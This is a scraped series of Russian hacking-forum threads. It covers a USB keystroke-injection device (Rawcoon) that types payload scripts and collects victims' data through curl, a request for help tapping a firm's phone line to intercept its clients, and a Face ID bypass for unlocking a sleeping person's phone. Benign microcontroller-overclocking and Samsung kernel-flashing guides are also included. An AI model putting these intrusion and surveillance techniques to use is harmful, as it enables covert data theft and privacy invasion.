После входа в систему мы можем зарегистрировать наше первое устройство. Каждое устройство Rawcoon поставляется с уникальным ключом устройства , который мы можем использовать для регистрации устройства в нашей учетной записи. Мы можем дать «отображаемое имя» каждому устройству при регистрации (это можно изменить позже).

В приведенных ниже примерах я зарегистрировал свое устройство как «TrashPanda». После регистрации устройство появится в меню слева. Когда мы выбираем его, мы можем начать писать наш скрипт полезной нагрузки в главном текстовом редакторе.

Если наш скрипт создан для сбора активов (см. Https://rawcoon.ch/faq.html 12 - для получения подробной информации о том, как это сделать), они появятся в списке внизу страницы. Каждый ресурс отображается с датой / временем сбора, а также с публичным IP-адресом, с которого он был собран.

Примечания

[1] На самом деле, некоторые символьные клавиши все еще довольно проблематичны. В частности, цифры не могут быть надежно набраны с использованием их обычных клавиш. Действительно, французская раскладка клавиатуры, например, требует нажатия клавиши «Shift» для доступа к номерам. Решением этой проблемы было то, что Rawcoon обнаружил состояние индикатора NumLock (сообщается хостом на клавиатуре) и включил его при необходимости. Цифры, доступные через цифровую клавиатуру, на самом деле являются «универсальными». Еще одна важная проблема - это точка ('.'), Которую можно набирать с помощью цифровой клавиатуры на большинстве клавиатур, за исключением немецкой раскладки, на которой вместо нее выводится запятая (','). Чтобы обойти эту проблему, запросы скручивания фактически выполняются дважды - один раз с цифровой точкой, затем второй с «классической» точкой. Какой бы ни была раскладка клавиатуры,​

[2] Поскольку не все компьютеры одинаковы, некоторым может потребоваться больше времени, чем другим, чтобы фактически открыть терминал и заставить оконную систему ОС переключить фокус ввода данных на него. Поэтому Rawcoon вводит произвольные задержки после определенных клавиш - например, в Windows добавляется несколько миллисекунд задержки после нажатия клавиши «Пуск» перед началом ввода «cmd». Это дает ОС достаточно времени, чтобы фактически открыть меню и начать регистрацию ввода. Задержки, однако, являются «слепыми» в том смысле, что Rawcoon не имеет обратной связи с хост- компьютером и не может «знать», когда продолжать печатать. Следовательно, эти задержки были сделаны целенаправленно «достаточно длинными», чтобы вместить как можно больше систем, и при этом они не были настолько длинными, чтобы стать недостатком.

Click to expand...

[3] Использование команды 'alias' не влияет на cmd.exe, но позволяет нам переопределить маркер комментария 'rem' cmd.exe в оболочках sh. Пример ниже показывает это:

Click to expand...

Code:Copy to clipboard

alias rem="" 2> nul
rem rm nul
Это позволяет нам писать строки, которые будут выполняться только в

оболочках sh, но будут рассматриваться как комментарии в cmd.exe. Мы даже можем создать оператор if, который позволит нам выборочно запускать файлы в cmd.exe или sh: rem echo This is an sh shell rem if uname | grep -q 'not_linux'; then echo This is cmd.exe rem fi

Click to expand...

Спасибо за прочтение этой статьи и хорошего дня. В очередной раз хочу поблагодарить admin за предложение данной статьи.
Оригинальная статья: <https://0x00sec.org/t/better-usb-injection-with- rawcoon/16843>
neopaket

GPS трекер, можно ли отследить?
ID: 676535aeb4103b69df373697
Thread ID: 31659
Created: 2019-09-10T09:13:43+0000
Last Post: 2019-09-11T10:31:19+0000
Author: Dendy
Replies: 1 Views: 2K

допустим , получаешь посылку.
есть ли какой девайс, который покажет присутствует трекер или нет ?

еще такой вопрос, ввобще сигнал GPS как нибудь можно обнаружить ? т.е фонит или нет.

Помогите врезаться в телефонную линию!
ID: 676535aeb4103b69df373698
Thread ID: 31551
Created: 2019-09-05T10:58:05+0000
Last Post: 2019-09-11T08:49:17+0000
Author: GARNIR
Replies: 3 Views: 2K

В общем хочу врезаться в телефонную линию одной фирмы котораязанимается предоставлением услуг . Хочу вырезаться в телефонную линию и поперехватфыать клиентов

Как обмануть Face ID (атака на Biometric Authentication)
ID: 676535aeb4103b69df373699
Thread ID: 31432
Created: 2019-08-30T12:59:09+0000
Last Post: 2019-08-30T12:59:09+0000
Author: tabac
Replies: 0 Views: 2K

[Biometric Authentication Under Threat: Liveness Detection Hacking](https://i.blackhat.com/USA-19/Wednesday/us-19-Chen-Biometric- Authentication-Under-Threat-Liveness-Detection-Hacking.pdf) — презентация с Black Hat, посвященная способам обмана биометрических сенсоров в смартфонах (датчик отпечатка пальца, сканер лица и сетчатки). Авторы приводят несколько способов обхода датчиков, в том числе с помощью прямого подключения к шине камеры и подачи на нее заранее снятого изображения (это позволяет обойти алгоритмы определения реального присутствия человека, но не лазерные сканеры в iPhone и некоторых других смартфонах). Но интереснее всего способ обмана сканера Face ID в iPhone X и более поздних моделях.

Во время сканирования iPhone строит подробную 3D-модель лица человека и требует, чтобы глаза были открыты. Такой подход сводит на нет почти все методы манипуляции, включая показ фотографии, видеозаписи, поднесение смартфона к лицу спящего человека и так далее.

Но у этого механизма есть фундаментальный изъян. При сканировании лица человека в очках он не может полагаться на 3D-сканирование глаз и переключается на куда более простой алгоритм: если в районе глаз есть белая точка на черном фоне — глаза считаются открытыми. Достаточно взять любые очки, наклеить на них два кусочка черной изоленты, нарисовать в их центре белые кружки, и вуаля: надеваем очки на спящего человека, подносим к его лицу смартфон — и экран разблокирован.

[![Очки для обмана Face ID](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F08%2F235838%2Fglass.jpg%2326759185&hash=ee2e792c2fc61c77dfe344b14ac8c41f)](https://xakep.ru/wp- content/uploads/2019/08/235838/glass.jpg#26759185)
Очки для обмана Face ID

Разгоняем микроконтроллер. Как я выжал 620 МГц из совместимой с Arduino платы
ID: 676535aeb4103b69df37369a
Thread ID: 31145
Created: 2019-08-17T15:29:34+0000
Last Post: 2019-08-17T15:29:34+0000
Author: nullx
Prefix: Статья
Replies: 0 Views: 2K

Производительности всегда не хватает. Не важно, идет ли речь о ноутбуке, суперкомпьютере, смартфоне или микроконтроллере. Иногда проблему можно решить, просто обновившись до топового железа. Но если и его вдруг оказалось недостаточно, то дальше остается только разгон. Такая соблазнительная возможность, что ей едва ли стоит сопротивляться.
Решившись на разгон, ты тут же столкнешься с двумя основными проблемами. Во- первых, нужно как-то вывести железо за штатный режим работы и при этом сохранить стабильность. Во-вторых, полученный прирост производительности предстоит еще чем-то замерить, чтобы оценить реальную пользу от всех ухищрений.

Конечно, если речь идет о разгоне игрового ПК, то зачастую все тривиально. Многие производители процессоров и видеокарт выпускают собственные утилиты для повышения напряжения и тактовых частот, так что в итоге все сводится к перемещению ползунков в окошке программы. После чего остается только запустить встроенный в игру бенчмарк и наблюдать рост циферок (FPS имеет значение, ага).

Но задумывался ли ты, как это все работает на самом деле? И что нужно знать, чтобы достичь по-настоящему выдающихся результатов? Попробую продемонстрировать на примере.

Аппаратная часть
Низкоуровневый разгон железа проще всего будет показать на обычном микроконтроллере. Наверняка ты знаком с Arduino — эта крохотная плата перевернула мир мейкеров, хакеров и всех сопричастных. В ней минимум компонентов: кварцевый резонатор, микросхема ATmega328P и регулятор питания. И все же это почти компьютер. А значит, ее тоже можно разогнать!

Однако сегодня я настроен на максимальный результат, и какие-то жалкие 16 МГц тактовой частоты меня совершенно не интересуют. Отложим Arduino в сторонку и возьмем плату Nucleo-144 на основе STM32H743.

Если пытаться подобрать подходящую аналогию из мира персональных компьютеров, то перед нами Core i9, вне всяких сомнений. Ядро ARM (Cortex-M7) тут работает на ошеломительной частоте 480 МГц — это ровно в 15 раз быстрее оригинальной Arduino Uno. Мало того, здесь размещено два мегабайта постоянной флеш-памяти и целый мегабайт ОЗУ. Производительности добавляет кеш программ и кеш данных (по 16 Кбайт), а также встроенный ускоритель исполнения кода ART.

Сегодня существуют две версии такой отладочной платы. Изначально в модельной линейке Nucleo-144 появилась H743ZI с программатором ST-Link V2-1 и микроконтроллером ревизии Y. Она поддерживала штатную работу «всего лишь» на 400 МГц. Но уже через несколько месяцев производитель сумел оптимизировать схему кристалла и начал выпускать микроконтроллеры Н7 новой ревизии V с базовой частотой в 480 МГц. Именно они легли в основу платы H743ZI2. Кроме того, обновили и программатор — теперь это ST-Link V3E с возможностью внутрисхемной эмуляции.

[![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F08%2F234209%2Fboards.jpg%2326881363&hash=b3cc1cc86a33014735fd9aa3d3d80f16)](https://xakep.ru/wp- content/uploads/2019/08/234209/boards.jpg#26881363)

Так что, если будешь выбирать себе такую же плату, будь предельно внимателен, внешне они очень похожи и выполнены на одинаково белом текстолите. Да и по другим параметрам особых отличий нет: разъемы Arduino, Morpho, Ethernet и интерфейс USB присутствуют на обеих платах.

Новая IDE
Даже очень хорошее железо может оказаться бесполезным, если для него не будет подходящего ПО. К счастью, это понимают и в компании ST Microelectronics, поэтому сравнительно недавно там сделали собственную CubeIDE. Однако совсем новой ее назвать трудно. По сути, это надстройка над Eclipse, что может обрадовать пользователей, знакомых со средами Atollic TrueStudio и AC6 Workbench.

Интегрированная среда разработки не только бесплатна и доступна на всех основных платформах (поддерживаются Windows, Linux и macOS), но еще и позволяет «из коробки» пользоваться современными средствами отладки и трассировки (OpenOCD, GDB), а также настраивать периферию микроконтроллера буквально в пару кликов мыши.

Spoiler: Warning

При попытке отладки приложения на H743ZI2 среда будет настойчиво требовать обновить ST-Link до «актуальной версии». Делать этого ни в коем случае не стоит, по крайней мере если не хочешь откатить прошивку самого программатора до доисторической версии. Действительно актуальное обновление ты сможешь накатить только при помощи ST-Link Utility.

После установки и настройки тулчейна можно переходить к тестированию. Нам предстоит портировать исходные коды бенчмарков на нашу архитектуру и реализовать пару платформенно зависимых функций. Так как операционная система в данном случае совершенно не обязательна, нужно будет переопределить функцию
printf

для вывода отладочной информации и функцию текущего времени — для расчета результата тестов.

Spoiler: WWW

Если тебе больше по душе Arduino IDE, ты можешь сделать проект в ней. Начиная с версии 1.6.0 в пакет stm32duino была добавлена поддержка платы H743ZI2. Зайди на GitHub разработчиков и далее следуй инструкциям в описании, чтобы добавить ссылку для менеджера пакетов.

Настраиваем проект
После создания проекта для отладочной платы Nucleo-H743ZI2 нам нужно изменить несколько настроек по умолчанию.

[![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F08%2F234209%2Fcreateproject.jpg%2326881363&hash=be343497dfbf4238ccdfd52204a8db51)](https://xakep.ru/wp- content/uploads/2019/08/234209/createproject.jpg#26881363)

Окно настройки периферии имеет две полезные области (на самом деле их гораздо больше, но нас сейчас интересуют конкретно эти): Pinout & Configuration и Clock Configuration. Функции периферии можно указать из меню, выпадающего по правому щелчку мыши. Более тонкая настройка производится в окне System view. Графическое представление тактового дерева можно найти во вкладке Clock Configuration.

[![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F08%2F234209%2Fclocktree.jpg%2326881363&hash=667dce27e9a0e5e1f4f7b6ef96837fac)](https://xakep.ru/wp- content/uploads/2019/08/234209/clocktree.jpg#26881363)

Обрати внимание, что для дальнейшей настройки системной частоты в качестве основного источника будет использоваться ФАПЧ (PLL), тактируемый от внешнего кварцевого резонатора HSE. В нашем случае он уже находится на отладочной плате и имеет номинал 8 МГц.

Максимально возможная тактовая частота ядра и системной шины при этом может быть обеспечена установкой делителей

DIVM1 = 1
и
DIVP1 = 7
. Значение множителя
DIVN1
предстоит увеличивать до тех пор, пока микроконтроллер будет работать стабильно. Делители
HPRE
,
D1PRE
,
D2PPRE1
,
DRPPRE2
и
D3PPRE
установим равными двум, остальные оставим по умолчанию.
Нельзя забывать и о питании. Блок ФАПЧ работает от линейного регулятора, режим которого
[VOS0...VOS5]
программно задает уровень напряжения от 1,35 до 0,7 В. Кроме того, при необходимости можно подать внешнее питание
Vcore
, но только если оно не превышает 1,4 В.
Как ты понимаешь, повышение напряжения позволяет добиваться больших тактовых частот. Это связано с тем, что транзисторы в схеме начинают быстрее менять свое состояние (сокращается длительность переднего и заднего фронта сигнала).

Spoiler: Info

Подробнее ознакомиться с системой питания микроконтроллеров семейства STM32H7 можно в разделе System supply configuration аппноута Smart power managment.

Для расчета времени добавим таймер
TIM2
. С установленной конфигурацией делителей он будет работать на частоте, равной половине системной
SYSCLK
. На этом настройку параметров можно завершить, так что сохраняй установки и запускай
генерацию проекта. [![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F08%2F234209%2Ftim2.jpg%2326881363&hash=d9977c0e4d92219b28969d0118bc270e)](https://xakep.ru/wp- content/uploads/2019/08/234209/tim2.jpg#26881363)

Теперь предстоит указать компилятор и компоновщик. Это можно произвести в меню Project → Properties → C/C++ Build → MCU Settings (MCU GCC Compiler, MCU GCC Linker). Причем для чисто академических целей предлагаю сперва оставить оптимизации на уровне

-O0
(оптимизация отключена).
На следующем шаге нам нужно обеспечить корректную работу функции

printf
. Для этого подключаем заголовочный файл
<stdio.h>
и добавляем ключик компиляции
-u _printf_float
для компоновщика. Остается только реализовать функцию вывода символов:

Code:Copy to clipboard

int __io_putchar(int ch) {
  /* Use Instrumentation Trace Macrocell */
  ITM_SendChar((uint32_t) ch);
  return ch;
}

[![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F08%2F234209%2Fprintf.jpg%2326881363&hash=4bfa0f265e1fe9156f4946aeff5741fe)](https://xakep.ru/wp- content/uploads/2019/08/234209/printf.jpg#26881363)

Кроме того, переопределим функцию установки тактовой частоты:

Code:Copy to clipboard

SystemClock_Config(uint32_t* FinalCoreClock) {
  ...
  __HAL_PWR_VOLTAGESCALING_CONFIG(PWR_REGULATOR_VOLTAGE_SCALE0);
  ...
  RCC_OscInitStruct.PLL.PLLM = 1;
  RCC_OscInitStruct.PLL.PLLN = 120; /* @480 MHz */
  RCC_OscInitStruct.PLL.PLLP = 2;
  RCC_OscInitStruct.PLL.PLLQ = 4;
  RCC_OscInitStruct.PLL.PLLR = 2;
  RCC_OscInitStruct.PLL.PLLRGE = RCC_PLL1VCIRANGE_3;
  RCC_OscInitStruct.PLL.PLLVCOSEL = RCC_PLL1VCOWIDE;
  RCC_OscInitStruct.PLL.PLLFRACN = 0;
  if (HAL_RCC_OscConfig(&RCC_OscInitStruct) != HAL_OK) {
    Error_Handler();
  }
  ...
  if (HAL_RCC_ClockConfig(&RCC_ClkInitStruct, FLASH_LATENCY_14) != HAL_OK) {
    Error_Handler();
  }
  ...
  *FinalCoreClock = HSE_CLOCK / 2 * RCC_OscInitStruct.PLL.PLLN;
}

В листинге выше особый интерес представляет настройка множителя PLLN, который влияет на тактовую частоту ядра (что самым непосредственным образом сказывается на производительности). Также обрати внимание на процедуру выбора источника питания для ФАПЧ
__HAL_PWR_VOLTAGESCALING_CONFIG
и установку таймингов для флеш-памяти
HAL_RCC_ClockConfig
Функцию настройки таймера
TIM2
можно реализовать следующим образом:

Code:Copy to clipboard

static void MX_TIM2_Init(uint32_t CoreClock) {
  ...
  htim2.Instance = TIM2;
  htim2.Init.Prescaler = (CoreClock / (2 * 1000000)) - 1;
  htim2.Init.CounterMode = TIM_COUNTERMODE_UP;
  htim2.Init.Period = 0xFFFFFFFF; /* timer period */
  htim2.Init.ClockDivision = TIM_CLOCKDIVISION_DIV1;
  htim2.Init.AutoReloadPreload = TIM_AUTORELOAD_PRELOAD_ENABLE;
  ...
}

Теперь в любой точке нашего кода мы сможем узнать количество микросекунд, прошедших с запуска таймера. Для этого достаточно будет просто обратиться к регистру
TIM2 → CNT

Spoiler: Info

Вообще говоря, наличие на микросхеме активной системы охлаждения из вентилятора и кулера не обязательно. Убедиться в этом помогает калькулятор питания, в соответствии с которым энергопотребление не должно превысить 200 мА на штатной частоте. Далее простые расчеты показывают, что даже при квадратичной зависимости нам нужно будет разгонять ФАПЧ вплоть до одного гигагерца, чтобы приблизиться к «опасной» отметке в 85 °С.

Бенчмарки
Сам по себе разгон вряд ли кому-то интересен, куда важнее его результаты: сколько процентов производительности реально удалось получить и позволило ли это утереть нос соседу. А для этого хорошо бы сперва договориться об общих критериях оценки системы.

Удивительно, но это не так-то просто. Задачи у всех разные, а уж способов их решения и того больше. К счастью, с годами вроде бы всем удалось договориться, однако это была целая история.

Краткая история происхождения попугаев
Первым широко распространенным тестом производительности принято считать Whetstone, который вышел в ноябре 1972 года. В качестве эталонной единицы измерения в нем использовался 1 MWIPS, соответствующий одному миллиону операций в секунду на архитектуре DEC VAX-11/780. Тест включал в себя 150 простых выражений, разделенных на восемь блоков, которые исполнялись в основном цикле.
Предполагалось, что малый размер теста позволит полностью уместить его в кеш L1 вычислительных машин и игнорировать преимущества L2. Whetstone не был рассчитан на использование оптимизационных компиляторов, что в итоге привело к путанице в расчете результатов. Появившиеся в 1980-х «продвинутые» компиляторы научились оптимизировать адресные переходы, виртуально увеличивая производительность в тестах в два раза.
Если тест Whetstone не был привязан к какой-либо операционной системе (и исполнялся в том числе на barebone-платформах), то разработанный в 1984 году тест Dhrystone предназначался для оценки производительности вычислительных систем на ядре Unix и использовал, например, системные библиотечные функции работы со временем.
В отличие от Whetstone, делающего упор на работу с числами с плавающей точкой, Dhrystone специализировался на работе с целочисленными и строковыми переменными. В настоящее время для оценки производительности достаточно широко используется версия 2.1, которая научилась больно бить компиляторы по рукам за любые попытки излишней оптимизации.
Синтетический тест CoreMark пришел на смену Dhrystone в 2009 году. Он включает в себя вычисление контрольной суммы, работу со связанными списками, сортировку и матричные операции. Таким образом, он максимально приближен к исполняемому коду современных проектов. CoreMark не использует системные библиотеки (его код полностью доступен в виде исходников) и тоже достаточно эффективно борется с оптимизирующей функцией компиляторов.
На сегодняшний день консорциум EEMBC (создатель CoreMark) — один из наиболее авторитетных разработчиков синтетических тестов для микроконтроллеров и устройств IoT. Предоставляемые на рассмотрение результаты проходят проверку и добавляются в рейтинг. Ознакомиться с ним ты можешь на сайте EEMBC в разделе CoreMark Scores.

Портируем код
Актуальная версия бенчмарка Whetstone включает в себя один файл
whetstone.c
совместимый c ANSI C89, и щедро приправлена метками и операторами безусловного перехода
goto
Да, вот такая занятная древность! Портирование заключается в переименовании функции теста c
main
на другое имя (например:whetstone ). Кроме того, нужно не забыть передать ей аргументы
ls
(количество повторений теста в рамках одного прогона) и total_LOOPS
(общее количество прогонов за весь тест).

Spoiler: WWW

Исходные коды описанных бенчмарков есть на GitHub:

Реализация бенчмарка Dhrystone 2.1 состоит из трех файлов:

dhry_1.c
,
dhry_2.c
и
dhry.h
. Так как тест был разработан для операционных систем семейства Unix, помимо переименовывания функции
main
необходимо реализовать функцию
time
(с использованием макроса
#define TIME
). Также нужно переопределить
#define Mic_secs_Per_Second 1000000.0
(так как используемый нами системный таймер работает на частоте 1 МГц и один отсчет этого таймера соответствует одной микросекунде).
Бенчмарк CoreMark реализован в нескольких файлах, но настройка и портирование теста происходит в заголовочном файле с говорящим названием

core_portme.h
. Для корректного расчета времени необходимо установить макроопределения
ITERATIONS
(разработчики архитектуры ARM рекомендуют подобрать такое количество итераций, чтобы длительность исполнения теста была не менее 30 с) и
CLOCKS_PER_SEC
(тактовая частота считающего время таймера, в нашем случае 1 000 000).
После добавления тестов в рабочий цикл функции вызова бенчмарков основная программа для оценки производительности примет следующий вид:

Code:Copy to clipboard

#include <stdio.h>
#define TOTALCYCLES 10

int main(void) {
  HAL_Init();
  SystemClock_Config(&coreClock);
  printf("System clock: %lu \n\r", coreClock);
  MX_GPIO_Init(); /* Initialize all configured peripherals */
  MX_TIM2_Init(coreClock);
  for (int c = 0; c < TOTALCYCLES; c++) {
    htim2.Instance->CNT = 0; /* Reset 32-bit timer value */
    HAL_TIM_Base_Start(&htim2); /* Start timer */
    printf("======================================\n\r");
    printf("Cycle run: %d\n\r", c);

    printf("Whetstone test ... beginning \n\r");
    whetstone(1000, 10); /* Run Whetstone test */
    printf("Whetstone test ... end \n\r");

    printf("Dhrystone test ... beginning \n\r");
    dhrystone21(10000000); /* Run Dhrystone test */
    printf("Dhrystone test ... end \n\r");

    printf("Coremark test ... beginning \n\r");
    core_main(); /* Run Coremark test */
    printf("Coremark test ... end \n\r");

    HAL_TIM_Base_Stop(&htim2); /* Stop timer */
  }
  HAL_GPIO_WritePin(GPIOB, GPIO_PIN_0, GPIO_PIN_SET);

  while (1);
}

Поехали!
Перед запуском микроконтроллера в настройках отладчика ST-Link необходимо включить поддержку Serial Wire Viewer (SVW) и указать текущую тактовую частоту ядра микроконтроллера. Кроме того, нужно включить окно вывода SWV «Window → Show View → SWV → SWV ITM Data Console» и разрешить вывод нажатием на кнопку Start Trace.

[![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F08%2F234209%2FSWV.jpg%2326881363&hash=99fd7dd443442f5d5f1cfbadb34eeae6)](https://xakep.ru/wp- content/uploads/2019/08/234209/SWV.jpg#26881363)

К сожалению, во время экспериментов ты можешь случайно «залочить» микроконтроллер таким образом, что он перестанет отвечать на сигналы программатора. Поэтому в проектах, работающих с нештатными частотами, крайне рекомендуется поставить временную задержку перед функцией, определяющей тактовую частоту процессора (хотя бы в несколько секунд). В таком случае ты успеешь подключиться отладчиком и перепрошить микроконтроллер.

Альтернативным способом может быть режим under reset (с параметрами отладчика, выставленными соответствующим образом) при зажатой кнопке сброса у отладочной платы и логическом нуле на линии сброса
nRST

Spoiler: Warning

Будь внимателен! Во время экспериментов есть вероятность «залочить» микроконтроллер.

Предположим, все прошло удачно и программа выдала результат. Но выглядит он удивительно: 8 DMIPS и 69,75 CoreMark абсолютно не соответствуют заявленным характеристикам и уж тем более нашим амбициям.
Что же мы упустили? Во-первых, стоит включить кеш программ и данных, добавив во время инициализации функции

SCB_EnableICache
и
SCB_EnableDCache
. Либо ты можешь активировать их в графическом меню через настройки периферии (даже несмотря на то, что они напрямую относятся к ядру): CORTEX M7 → CPU Icache → Enabled / CPU Dcache → Enabled. Во-вторых, можно поиграть с ключами оптимизации компилятора
-O3
и
-Ofast
. Ну и наконец, мы же можем разогнать микроконтроллер и попытаться полностью раскрыть потенциал железа!

Анализ результатов
Не буду долго ходить вокруг да около: после череды попыток и последовательного увеличения множителя частоты PLLN до 155 (соответствует 620 МГц) мне удалось добиться стабильной работы H743 и без проблем пройти все тесты. Результаты приведены на графике ниже.

[![](/proxy.php?image=https%3A%2F%2Fxakep.ru%2Fwp- content%2Fuploads%2F2019%2F08%2F234209%2Fgraph.jpg%2326881363&hash=4caeaa042983f268371018c30ea5eeac)](https://xakep.ru/wp- content/uploads/2019/08/234209/graph.jpg#26881363)

Более медленное исполнение кода из ОЗУ в нашем случае объясняется конкурентным доступом к памяти данных/программ и независимым доступом в случае расположения исполняемого кода в области флеш-памяти.
Как видно из результатов, тест Whetstone наиболее подвержен влиянию настроек компилятора и является наименее репрезентативным из представленных. А при разгоне микроконтроллера с максимальными настройками оптимизации компилятора GCC получен результат, который уверенно превзошел заявленные производителем характеристики (2400 CoreMark / 1027 DMIPS).

Итоги
Если при слове «микроконтроллеры» тебе представляется ардуинка на AVR, мигающая светодиодом как заведенная, то спешу тебя обрадовать — ее современные аналоги способны на куда более интересные вещи. Некоторые даже запускают на них нейронные сети и используют для машинного зрения. Что неудивительно — с такими-то характеристиками.

Вообще говоря, полученные результаты позволяют поместить нынешние микроконтроллеры на уровень персональных компьютеров второй половины нулевых, что очень неплохо! Более детально ознакомиться с рейтингом оценок и историей происхождения большинства тестов ты можешь на этом сайте.

Удачного разгона!

Источник

Создание ядра для Samsung, часть 2
ID: 676535aeb4103b69df37369b
Thread ID: 30281
Created: 2019-07-08T16:55:26+0000
Last Post: 2019-07-08T16:55:26+0000
Author: NokZKH
Prefix: Статья
Replies: 0 Views: 2K

image12.png

Кастомизация устройства Samsung с пользовательским ядром
В моем последнем уроке я шаг за шагом объяснял, как скомпилировать собственное ядро Samsung, я настоятельно рекомендую вам прочитать эту статью, так как она содержит несколько важных шагов по подготовке среды. Теперь, в этой статье я расскажу, как прошить ядро, которое мы уже скомпилировали.

Отказ от ответственности: получение root прав на вашем телефоне, приведет к аннулированию гарантии из-за необратимого взрыва eFuse на устройстве.

Подготовка окружающей среды
В этом руководстве я предполагаю, что у вашего устройства есть root-права. Если нет, то [это руководство](https://translate.google.com/translate?hl=ru&prev=_t&sl=en&tl=ru&u=https://www.tenorshare.com/android- root/how-to-root-samsung-galaxy-s7-or-s7-edge.html) поможет вам в этом. Загрузите файлcache.img и файл recovery.img на компьютер, так как они понадобятся для прошивки устройства без необходимости сброса настроек на заводские.

Итак, чтобы мы могли перепрограммировать ядро, которое мы только что скомпилировали, нам нужно получить загрузочный образ устройства, внутри которого находится ядро zImage. Его мы можем перезаписать. Это также поможет, если мы хотим восстановить загрузочный образ до заводских настроек.

Есть два возможных пути достижения этого:

● Сделайте резервную копию образа устройства с помощью пользовательского восстановления.
● Дамп загрузочного образа устройства с помощью «dd».

Мы рассмотрим только второй вариант, так как для первого уже существует много уроков. Но сначала нам нужно убедиться, что у нас все готово.

Во-первых, убедитесь, что в вашей виртуальной машине установлены как ADB, так и Heimdall. Эти инструменты помогут взаимодействовать с устройством удаленно после загрузки и в режиме загрузки соответственно.

sudo apt-get install heimdall-flash adb

На нашем гипервизоре(hypervisor) (если возможно) желательно установить его так, чтобы он автоматически подключал наше устройство к нашей ВМ, что сэкономит нам много времени.

Если вы хотите сделать это в VMware Fusion, перейдите в _Виртуальная машина -

USB и Bluetooth -> Настройки USB и Bluetooth_ и измените Plug in action на устройстве так, чтобы оно подключалось к нашей машине Linux. Конечно, для этого устройство должно быть подключено к компьютеру. Вам придется сделать это дважды, один раз для adb (как только вы включите отладку по USB) и один раз для Heimdall(в режиме загрузки).

Теперь нам нужно включить отладку по USB и разблокировать OEM нашем телефоне. На вашем устройстве перейдите в «Настройки» -> «О телефоне» -> «Информация о программном обеспечении», а затем нажмите 7 раз на «Номер сборки», что активирует режим разработчика . После этого вернитесь к настройкам, откройте «Опции разработчика» и включите опции «Разблокировка OEM» и «Отладка USB».

Убедитесь, что разблокировка OEM всегда включена, иначе ваш телефонне загрузится.

Отключите и снова подключите USB-кабель к вашему устройству, авторизуйте соединение ADB на нем, а затем, когда вы запустите «adb devices» на терминале, вы должны увидеть это:

image7.png

Мы также можем подключиться к устройству, используя «adb shell»:

image2.png
Устройство перед прошивкой с нашим кастомным ядром

После включения ADB мы должны убедиться, что Heimdall работает правильно. Для этого вам необходимо перезагрузить устройство в «режиме загрузки», что можно легко осуществить с помощью ADB, выполнив «загрузку с помощью adb». В противном случае используем комбинацию кнопок во время загрузки. В случае с S7 вам нужно удерживать " кнопка домой + кнопка питание + громкость вниз".

image14.jpg
Режим загрузки

Если все прошло успешно, то вы должны увидеть что-то вроде этого, когда запустите команду «hemidall detect, а затем «heimdall print-pit»:

image1.png
Hemidall detect

image6.png
Heimdall print-pit

Ваше устройство будет перезагружаться каждый раз, когда вы используете Heimdall, но вы можете избежать этого, используя переключатель «--no-reboot», однако это не рекомендуется, поскольку Heimdall не будет работать, пока вы не перезагрузите устройство, независимо от того, какие функции вы использовали.

Получение загрузочного образа
На данный момент это самый простой и быстрый способ получить загрузочный образ, поскольку он использует инструменты, которые доступны для нас по умолчанию. Мы собираемся использовать инструмент «dd».

Сначала зайдите в устройство и станьте root, используя supersu:

image5.png

Затем нам нужно получить правильную точку монтирования. Для этого перейдите в /dev/block/platform/ и выведите содержимое, найдите правильную виртуальную папку внутри (в моем случае это «155a0000.ufs»), а внутри нее выведите содержимое папки командой «ls -la by-name», которая должна вывести вам все пути и точки монтирования.

image4.png

Как видите, есть запись, которая называется «BOOT» и указывает, в моем случае, на /dev/block/sda5. Мы собираемся сбросить её с помощью следующей команды:

dd if=[mounting/point] of=[output/file.img]

Которая в моем случае будет:

dd if=/dev/block/sda5 of=/sdcard/Download/boot.img

И затем, мы можем легко загрузить её с помощью «adb pull»

adb pull /sdcard/Download/boot.img .

image11.png

Распаковка, перезапись, сборка, перепрошивка
Теперь, когда у нас есть загрузочный образ и наше ядро, мы должны распаковать загрузочный образ, перезаписать zImage, который содержит ядро с тем, которое мы скомпилировали, собрать загрузочный образ и прошить его с Heimdall. (Чуть не умер, пока перевёл XD)

Распаковка : для этого мы будем использовать инструмент под названием Android Image Kitchen или AIK. Который можно найти [тут](https://translate.googleusercontent.com/translate_c?depth=1&hl=ru&nv=1&prev=_t&rurl=translate.google.com&sl=en&sp=nmt4&tl=ru&u=https://forum.xda- developers.com/showthread.php%3Ft%3D2073775&xid=17259,15700021,15700186,15700191,15700256,15700259,15700262&usg=ALkJrhjnWw4-UxC6YmFqTtq4J5NUP7EwrA). После загрузки файла мы его где-то распаковываем и копируем в загрузочный образ, полученный с устройства. Затем мы запускаем «unpackimg.sh» и «boot.img», после чего он будет распакован.

image10.png

Перезапись : вы наверное заметили, что были созданы две новые папки. « Ramdisk » и « split_img ». Первая содержит всё, что нужно для загрузки телефона , а вторая содержит оставшееся содержимое, включая образ ядра. Зайдите в папку split_img и найдите файл, который заканчивается на «zImage», и перезапишите его файлом «Image», который мы создали, когда мы скомпилировали наше ядро.

image9.png

Сборка : Как только образ ядра будет на месте, нам нужно будет упаковать его, чтобы перепрошить на наше устройство. Для этого мы вернемся к корню AIK- Linux и запустим «./repackimg.sh», который автоматически создаст файл с именем «image-new.img», который будет нашим новым загрузочным образом.

image10.png

Перепрошивка : теперь, когда у нас есть новый образ, мы можем его перенести на наше устройство. Для этого нам нужно перевести его в режим загрузки и использовать Heimdall для его прошивки. Тем не менее, настоятельно рекомендуется также прошить образы для восстановления и кэширования, полученные вами в процессе рутирования, в противном случае вам может потребоваться сброс настроек до заводских.

Я написал этот маленький скрипт, который выполнит все четыре шага одновременно:

Code:Copy to clipboard

#!/bin/bash
cp ../samsung-kernel/arch/arm64/boot/Image split_img/boot.img-zImage
./repackimg.sh
adb reboot download
sleep 8
heimdall flash --BOOT image-new.img --RECOVERY ../Downloads/recovery.img --CACHE ../Downloads/cache.img

